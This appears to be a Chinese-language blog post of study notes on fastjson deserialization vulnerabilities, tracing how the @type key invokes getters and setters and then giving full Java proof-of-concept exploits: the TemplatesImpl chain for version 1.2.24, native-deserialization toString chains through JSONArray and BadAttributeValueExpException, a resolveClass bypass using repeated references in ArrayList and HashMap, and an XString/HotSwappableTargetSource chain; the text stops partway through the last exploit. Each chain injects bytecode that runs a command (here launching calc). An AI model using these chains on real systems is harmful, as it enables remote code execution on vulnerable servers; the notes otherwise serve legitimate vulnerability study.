Featured image of post fastjson反序列化

fastjson反序列化

fastjson反序列化

Fastjson 是 Alibaba 开发的 Java 语言编写的高性能 JSON 库,用于将数据在 JSON 和 Java Object 之间互相转换。

提供两个主要接口来分别实现序列化和反序列化操作。

JSON.toJSONString 将 Java 对象转换为 json 对象,序列化的过程。

JSON.parseObject/JSON.parse 将 json 对象重新变回 Java 对象,反序列化的过程

依赖导入

导入1.2.24是最早漏洞发现的版本,jdk版本无所谓

1
2
3
4
5
<dependency>  
 <groupId>com.alibaba</groupId>  
 <artifactId>fastjson</artifactId>  
 <version>1.2.24</version>  
</dependency>

序列化和反序列化demo

先定义一个Person类,实现javabean的基本方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class Person {
    private String name;
    private int age;

    public Person() {
        System.out.println("constructor");
    }

    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("setAge");
        this.age = age;
    }
}

序列化

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class serializeTest {
    public static void main(String[] args) {
        Person person = new Person();
        person.setName("hajimi");
        String json = JSON.toJSONString(person, SerializerFeature.WriteClassName);
        System.out.println(json);
    }
}

跟进代码看看序列化怎么实现的,首先进了JOSN类的toJSONString方法

image-20250916193137279

这里是new了·一个SerializeWriter对象,序列化完成

注意到进json类的时候下面多了一个static变量

image-20250916193420029

这里的DEFAULT_TYPE_KEY 为 “@type”,等下会用到,这是一个产生漏洞的点

回到上面这句话

1
String json = JSON.toJSONString(person, SerializerFeature.WriteClassName);

第二个参数是 SerializerFeature.WriteClassName,是 JSON.toJSONString() 中的一个设置属性值,设置之后在序列化的时候会多写入一个@type,即写上被序列化的类名,type 可以指定反序列化的类,并且调用其 getter/setter/is 方法。

Fastjson 接受的 JSON 可以通过@type字段来指定该JSON应当还原成何种类型的对象,在反序列化的时候方便操作。

反序列化

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class unserializeTest {
    public static void main(String[] args) {
        String json = "{\"@type\":\"Person\",\"age\":114514,\"name\":\"hajimi\"}";
        Person person = JSON.parseObject(json, Person.class, Feature.SupportNonPublicField);
        System.out.println(person);
        System.out.println(person.getName());
    }
}

Feature.SupportNonPublicField主要是用来获取private属性的值,如果没设置,尝试获取age的话就会获取到0,前提是要把private属性的age的setter方法注释掉(一般没人会给私有属性加setter方法,加了就没必要声明为private了)

漏洞点

如果我们带着@type属性反序列化,他可以反序列化我们指定的类型来自动调用getter和setter方法,要是我们指定了Object或者JSONObject,则可以反序列化出来任意类,例如Object o = JSON.parseObject(poc,Object.class)就可以反序列化出Object类或其任意子类,而Object又是任意类的父类,所以就可以反序列化出所有类。

修改上面代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;


public class unserializeTest {
    public static void main(String[] args) {
        String json = "{\"@type\":\"Person\",\"age\":114514,\"name\":\"hajimi\"}";
        JSONObject person = JSON.parseObject(json);
        System.out.println(person);
    }
}

观察输出它确实调用了我们前面定义的Person类的所有getter和setter方法

调试

跟进parseObject方法看看怎么个事

image-20250916205855920

可以看到首先调用了parse方法,然后返回一个obj,接着返回一个JSONObject对象,这个本质是一个map

image-20250916210144099

接着走到了这里的默认解析器,然后下面一行就是解析的逻辑了,跟进去看看

image-20250916210655527

这里有个switch判断,从我们的输入的序列化对象挨个读取,我们第一个字符是{

image-20250916210834716

然后跟进去这个方法大致是获取key和value进行一些操作

image-20250916211439030

然后这里符合判断,因为我们的JSON.DEFAULT_TYPE_KEY就是@type,这样就会不只进行json的反序列化,还会进行java的反序列化,这里看到用loadClass加载了类

image-20250916213147936

前面走完到这里了,这里就是实现反序列化的地方,首先获取一个ObjectDeserializer,然后用这个类的方法来反序列化

image-20250916214123181

由于这里我们的类Person是自定义的,所以直接到这个else里面,创建一个javabeandeserializer

image-20250916214713539

跟进去可以发现上来先判断是否允许asm,这个动态修改字节码的库吧,默认是true

image-20250916214738125

然后跟到这里,这个方法很重要,大概是首先获取我们类里的javabean,然后构建一个新的javabean

image-20250916215059691

这里获取所有的方法和变量

image-20250916215354742

这里遍历所有方法,实际上注释那里有写,在遍历查找setter方法

image-20250916221158953

然后接着就是一个遍历public变量的,最后是变量getter方法的获取,没什么好看的

这边创建完之后返回ObjectDeserializer对象,走到下面的反序列化

image-20250917202148000

后面代码很冗长,大概最后调试的时候是setter方法调用了setvalue方法赋值,然后内部有个invoke方法,说明是反射赋值,然后getter方法是调用了get方法,然后内部也是invoke方法

小结

只要找到某个类里面的getter或者setter方法有任意代码执行的操作,我们就可以利用fastjson反序列化这里的漏洞来利用,例如我们在前面的类里面添加弹计算器的代码,反序列化后就会弹计算器

fastjson1.2.24版本漏洞分析

基于 TemplatesImpl 的利用链

image-20250917215252159

我们打TemplatesImpl加载字节码的时候,用到getTransletInstance方法,可以注意到他也是getter类型的

不过之前我们打的时候都是用反射来修改值的,这里fastjson不需要,只用json格式传入就行了

这里先搬出之前的代码方便对照

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import sun.misc.Unsafe;

import java.lang.reflect.Field;

public class EvilClass {
    private static Unsafe unsafe = null;
    public static void main(String[] args) throws Exception {
        Class c = Unsafe.class;
        Field field = c.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        unsafe = (Unsafe) field.get(null);

        TemplatesImpl templatesImpl = (TemplatesImpl) unsafe.allocateInstance(TemplatesImpl.class);
        setFieldValue(templatesImpl, "_name", "calc");
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{generatePayload()});
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
        templatesImpl.newTransformer();
    }
    public static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
        Field field = target.getClass().getDeclaredField(fieldName);
        long offset = unsafe.objectFieldOffset(field);
        unsafe.putObject(target, offset, value);
    }
    public static byte[] generatePayload() throws Exception{
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("Test");
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        return cc.toBytecode();
    }
}

正常来说只需要填写_name,_bytecodes,_tfactory这三个字段

但是fastjson调用javabean方法是有条件的,上面也跟过代码了,这里直接总结

满足条件的setter:

  • 非静态函数
  • 返回类型为void或当前类
  • 参数个数为1个

满足条件的getter:

  • 非静态方法
  • 无参数
  • 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong

上面的getTransletInstance方法返回值并非上面的5个,进不了后面代码,所以直接修改不会成功

我们直接查找谁调用了getTransletInstance方法

image-20250917223511821

newTransformer方法,上面能调用的我们很熟悉,是getOutputProperties方法,返回值是 Properties 即继承自 Map 类型。

image-20250917230518836

所以我们只需要加个这个参数就行了,然后构造json

1
"{\"@type\":\"" + TEM_CLASS + "\",\"_bytecodes\":[\"" + evilCode + "\"],\"_name\":\"hajimi\",\"_tfactory\":{},\"_outputProperties\":{}}"

由于字节码我们构造的本身是byte[]类型,直接转String类型可能会丢失,我们转成base64

1
2
byte[] bytecode = generatePayload();
String evilCode = Base64.getEncoder().encodeToString(bytecode);

poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;

import java.util.Base64;


public class TemplateImplAttack {
    public static void main(String[] args) throws Exception {
        final String TEM_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        byte[] bytecode = generatePayload();
        String evilCode = Base64.getEncoder().encodeToString(bytecode);
        String payload = "{\"@type\":\"" + TEM_CLASS + "\",\"_bytecodes\":[\"" + evilCode + "\"],\"_name\":\"hajimi\",\"_tfactory\":{},\"_outputProperties\":{}}";
//        System.out.println(payload);
        JSONObject object = JSON.parseObject(payload, Feature.SupportNonPublicField);
    }
    public static byte[] generatePayload() throws Exception{
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("Test");
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        return cc.toBytecode();
    }
}

基于 JdbcRowSetImpl 的利用链

JNDI还没学

基于 JdbcRowSetImpl 的利用链主要有两种利用方式,即 JNDI + RMI 和 JNDI + LDAP,都是属于基于 Bean Property 类型的 JNDI 的利用方式。

后面再写

fastjson原生反序列化

参考:FastJson与原生反序列化

toString链

类的查找:既然是与原生反序列化相关,那我们去fastjson包里去看看哪些类继承了Serializable接口即可,最后找完只有两个类,JSONArray与JSONObject,这里我们就挑第一个来讲(实际上这两个在原生反序列化当中利用方式是相同的)

image-20250921233430754

首先我们可以在IDEA中可以看到,虽然JSONArray有implement这个Serializable接口但是它本身没有实现readObject方法的重载,并且继承的JSON类同样没有readObject方法,那么只有一个思路了,通过其他类的readObject做中转来触发JSONArray或者JSON类当中的某个方法最终实现串链

FastJson<=1.2.48

前面我们知道fastjson的序列化和反序列化调用的函数为JSON.parsetoJSONString ,能够触发getter方法

这里的toJSONString能被JSON类的toString方法调用

image-20250921234651393

我们的思路就是这样:触发toString->toJSONString->get方法

调用get方法我们可以想到上面用过的TemplatesImpl链的getOutputProperty方法,调用newTransformer,最后通过动态类加载实现RCE,而toString方法在CC5也用到了

所以基于这些我们就能搓出一个exp

前面先用TemplatesImpl,中间写一个jsonarray,最后用CC5的BadAttributeValueExpException触发toString就行

CC5这里的BadAttributeValueExpException也用到反射,我们用unsafe替换

1
2
BadAttributeValueExpException badAttributeValueExpException = (BadAttributeValueExpException) unsafe.allocateInstance(BadAttributeValueExpException.class);
setFieldValue(badAttributeValueExpException, "val", jsonArray);
poc
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import sun.misc.Unsafe;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

public class OriginAttack {
    private static Unsafe unsafe = null;
    public static void main(String[] args) throws Exception {
        Class c = Unsafe.class;
        Field field = c.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        unsafe = (Unsafe) field.get(null);

        TemplatesImpl templatesImpl = (TemplatesImpl) unsafe.allocateInstance(TemplatesImpl.class);
        setFieldValue(templatesImpl, "_name", "calc");
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{generatePayload()});
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
//        templatesImpl.newTransformer();
        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templatesImpl);

        BadAttributeValueExpException badAttributeValueExpException = (BadAttributeValueExpException) unsafe.allocateInstance(BadAttributeValueExpException.class);
        setFieldValue(badAttributeValueExpException, "val", jsonArray);
        //序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(badAttributeValueExpException);
        //反序列化
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
    public  static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
        Field field = target.getClass().getDeclaredField(fieldName);
        long offset = unsafe.objectFieldOffset(field);
        unsafe.putObject(target, offset, value);
    }
    public static byte[] generatePayload() throws Exception{
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("Test");
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        return cc.toBytecode();
    }
}

这个同样能打fastjson2,这边测试fastjson2版本<=2.0.26都能打

Fastjson>=1.2.49

从1.2.49开始,我们的JSONArray以及JSONObject方法开始有了自己的readObject方法,而且有类的检查

image-20250922220200008

然后进JSONObject的SecureObjectInputStream类,这个类重写了resolveClass方法,这里用了checkAutoType来检查类,这个resolveClass的写法并不安全,还是能被绕过的

他现在的逻辑是

1
ObjectInputStream -> readObject -> ... -> SecureObjectInputStream -> readObject -> resolveClass

实际安全的实现逻辑应该为:

生成一个继承ObjectInputStream的类并重写resolveClass(假定为TestInputStream),由它来做反序列化的入口

1
TestInputStream -> readObject -> resolveClass

现在我们可以寻找一下怎么绕过resolveClass了

先进ObjectInputStream看看resolveClass在哪里实现的,在一步步往上跟

image-20250923222004139

image-20250923222035446

这里再往上就走到readObject0方法

image-20250923222212976

然后就是readObject方法

image-20250923222248372

现在我们想要绕过,不调用resolveClass方法

注意观察readObject0方法,会根据读到的bytes中tc的数据类型做不同的处理去恢复部分对象

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
switch (tc) {
                case TC_NULL:
                    return readNull();

                case TC_REFERENCE:
                    return readHandle(unshared);

                case TC_CLASS:
                    return readClass(unshared);

                case TC_CLASSDESC:
                case TC_PROXYCLASSDESC:
                    return readClassDesc(unshared);

                case TC_STRING:
                case TC_LONGSTRING:
                    return checkResolve(readString(unshared));

                case TC_ARRAY:
                    return checkResolve(readArray(unshared));

                case TC_ENUM:
                    return checkResolve(readEnum(unshared));

                case TC_OBJECT:
                    return checkResolve(readOrdinaryObject(unshared));

                case TC_EXCEPTION:
                    IOException ex = readFatalException();
                    throw new WriteAbortedException("writing aborted", ex);

                case TC_BLOCKDATA:
                case TC_BLOCKDATALONG:
                    if (oldMode) {
                        bin.setBlockDataMode(true);
                        bin.peek();             // force header read
                        throw new OptionalDataException(
                            bin.currentBlockRemaining());
                    } else {
                        throw new StreamCorruptedException(
                            "unexpected block data");
                    }

                case TC_ENDBLOCKDATA:
                    if (oldMode) {
                        throw new OptionalDataException(true);
                    } else {
                        throw new StreamCorruptedException(
                            "unexpected end of block data");
                    }

                default:
                    throw new StreamCorruptedException(
                        String.format("invalid type code: %02X", tc));
            }

上面的不同case中大部分类都会最终调用readClassDesc去获取类的描述符,在这个过程中如果当前反序列化数据下一位仍然是TC_CLASSDESC那么就会在readNonProxyDesc中触发resolveClass

不会调用readClassDesc的分支有TC_NULLTC_REFERENCETC_STRINGTC_LONGSTRINGTC_EXCEPTION,string与null这种对我们毫无用处的,exception类型则是解决序列化终止相关.

所以剩下的只有REFERENCE引用类型,现在我们就要思考,如何在 JSONArray/JSONObject 对象反序列化恢复对象时,让我们的恶意类成为引用类型从而绕过 resolveClass 的检查

答案是当向List、set、map类型中添加同样对象时即可成功利用,这里也简单提一下,这里以List为例:

1
2
3
4
ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);
arrayList.add(templates);
writeObjects(arrayList);

原理:因为我们写入对象时,会在handle这个哈希表中建立从对象到引用的映射

image-20250923235939622

再次写入时,handles这个表查询到前面的映射

image-20250924000038703

就会通过writeHandle将重复对象以引用类型写入,然后就可以构造攻击的payload了

poc

ArrayList:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import sun.misc.Unsafe;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.ArrayList;

public class OriginAttack2 {
    private static Unsafe unsafe = null;
    public static void main(String[] args) throws Exception{
        Class c = Unsafe.class;
        Field field = c.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        unsafe = (Unsafe) field.get(null);

        TemplatesImpl templatesImpl = (TemplatesImpl) unsafe.allocateInstance(TemplatesImpl.class);
        setFieldValue(templatesImpl, "_name", "calc");
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{generatePayload()});
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templatesImpl);

        BadAttributeValueExpException badAttributeValueExpException = (BadAttributeValueExpException) unsafe.allocateInstance(BadAttributeValueExpException.class);
        setFieldValue(badAttributeValueExpException, "val", jsonArray);

        ArrayList arrayList = new ArrayList();
        arrayList.add(templatesImpl);
        arrayList.add(badAttributeValueExpException);
        //序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(arrayList);
        //反序列化
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();

    }
    public  static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
        Field field = target.getClass().getDeclaredField(fieldName);
        long offset = unsafe.objectFieldOffset(field);
        unsafe.putObject(target, offset, value);
    }
    public static byte[] generatePayload() throws Exception{
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("Test");
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        return cc.toBytecode();
    }
}

其实就是在原来的基础上加上了下面这几行,然后由于把badAttributeValueExpException包装到ArrayList了,所以最后反序列化arraylist

1
2
3
ArrayList arrayList = new ArrayList();
arrayList.add(templatesImpl);
arrayList.add(badAttributeValueExpException);

总结来说这里的过程就是第一次成功反序列化TemplatesImpl类,然后第二次反序列化BadAttributeValueExpException类时,当调用到JSONArray的readObject()时,当反序列化JSONArray中的TemplatesImpl类时,此时的TemplatesImpl类是一个引用类型,不会调用resolveClass()方法,从而成功绕过。

HashMap:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import sun.misc.Unsafe;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.HashMap;

public class OriginAttack2 {
    private static Unsafe unsafe = null;
    public static void main(String[] args) throws Exception{
        Class c = Unsafe.class;
        Field field = c.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        unsafe = (Unsafe) field.get(null);

        TemplatesImpl templatesImpl = (TemplatesImpl) unsafe.allocateInstance(TemplatesImpl.class);
        setFieldValue(templatesImpl, "_name", "calc");
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{generatePayload()});
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templatesImpl);

        BadAttributeValueExpException badAttributeValueExpException = (BadAttributeValueExpException) unsafe.allocateInstance(BadAttributeValueExpException.class);
        setFieldValue(badAttributeValueExpException, "val", jsonArray);

        HashMap hashMap = new HashMap();
        hashMap.put(templatesImpl,badAttributeValueExpException);

        //序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(hashMap);
        //反序列化
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();

    }
    public  static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
        Field field = target.getClass().getDeclaredField(fieldName);
        long offset = unsafe.objectFieldOffset(field);
        unsafe.putObject(target, offset, value);
    }
    public static byte[] generatePayload() throws Exception{
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("Test");
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        return cc.toBytecode();
    }
}

这个就更简单了,加了两行代码

1
2
HashMap hashMap = new HashMap();
hashMap.put(templatesImpl,badAttributeValueExpException);

至于原理,由于序列化会对map的key和value都进行反序列化,也就是调用writeObject方法

image-20250924002412916

所以我们直接分别放入templatesImpl和badAttributeValueExpException就能绕过

XString链

参考:高版本Fastjson反序列化Xtring新链和EventListenerList绕过-先知社区

上面的链子如果通过重写resolevclass让BadAttributeValueExpException被过滤了,并且Fastjson还是高版本,就没办法用了

间接打XString

现在介绍一条链子来通过equal来触发toString

1
HashMap#readObject -> HotSwappableTargetSource#equals -> XString#equals -> toString

HotSwappableTargetSource 是在 Spring AOP 中出现的一个类,是spring 原生的 toString 利用链。

所以这里简单起个springboot环境,~~byd一直报错版本冲突,然后降spring版本也没成功,~~最后直接导入Spring-aop的依赖,终于成功了

依赖

1
2
3
4
5
<dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-aop</artifactId>
            <version>5.3.23</version>
</dependency>

并非poc:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.springframework.aop.target.HotSwappableTargetSource;
import com.sun.org.apache.xpath.internal.objects.XString;
import sun.misc.Unsafe;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;

public class XStringAttack {
    private static Unsafe unsafe = null;
    public static void main(String[] args) throws Exception {
        Class c = Unsafe.class;
        Field field = c.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        unsafe = (Unsafe) field.get(null);

        TemplatesImpl templatesImpl = (TemplatesImpl) unsafe.allocateInstance(TemplatesImpl.class);
        setFieldValue(templatesImpl, "_name", "calc");
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{generatePayload()});
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templatesImpl);

        HotSwappableTargetSource h1 = new HotSwappableTargetSource(jsonArray);
        HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));
        HashMap hashMap = makeMap(h1, h2);

        //序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(hashMap);
        //反序列化
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
    public  static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
        Field field = target.getClass().getDeclaredField(fieldName);
        long offset = unsafe.objectFieldOffset(field);
        unsafe.putObject(target, offset, value);
    }
    public static byte[] generatePayload() throws Exception{
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("Test");
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        return cc.toBytecode();
    }
    public static HashMap<Object, Object> makeMap(Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> map = new HashMap<>();
        map.put(v1, v1);
        map.put(v2, v2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));  //通过此处来设置的0组和1组
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFieldValue(map, "table", tbl);
        return map;
    }
}

这里我们自定义了函数makeMap来创建hashmap来触发equals函数的,这里需要反射修改hashmap里面属性的值

makeMap函数原来是

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
public static HashMap<Object, Object> makeMap(Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> map = new HashMap<>();
        setFieldValue(map, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));  //通过此处来设置的0组和1组
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFieldValue(map, "table", tbl);
        return map;
    }

本质上等价于

1
2
3
4
5
6
HotSwappableTargetSource h1 = new HotSwappableTargetSource(jsonArray);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new Object());
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(h1,h1);
hashMap.put(h2,h2);
setFieldValue(h2,"target",new XString("xxx"));

这里直接修改回爆一个hashmap访问异常的报错,手动设定为上面的

1
2
map.put(v1, v1);
map.put(v2, v2);

但是这里又出问题了,不知道是什么原因,可能真是unsafe反射的原因,这里想下断点看看后续的调用的,然后直接弹计算器了,想到可能是序列化的时候就触发了,一看发现其实是前面重写makeMap方法的原因,put方法提前触发toString了,此事在CC1亦有记载

所以干脆换回field来反射

poc
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.springframework.aop.target.HotSwappableTargetSource;
import com.sun.org.apache.xpath.internal.objects.XString;
import sun.misc.Unsafe;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;

public class XStringAttack2 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_name", "calc");
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{generatePayload()});
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templatesImpl);

        HotSwappableTargetSource h1 = new HotSwappableTargetSource(jsonArray);
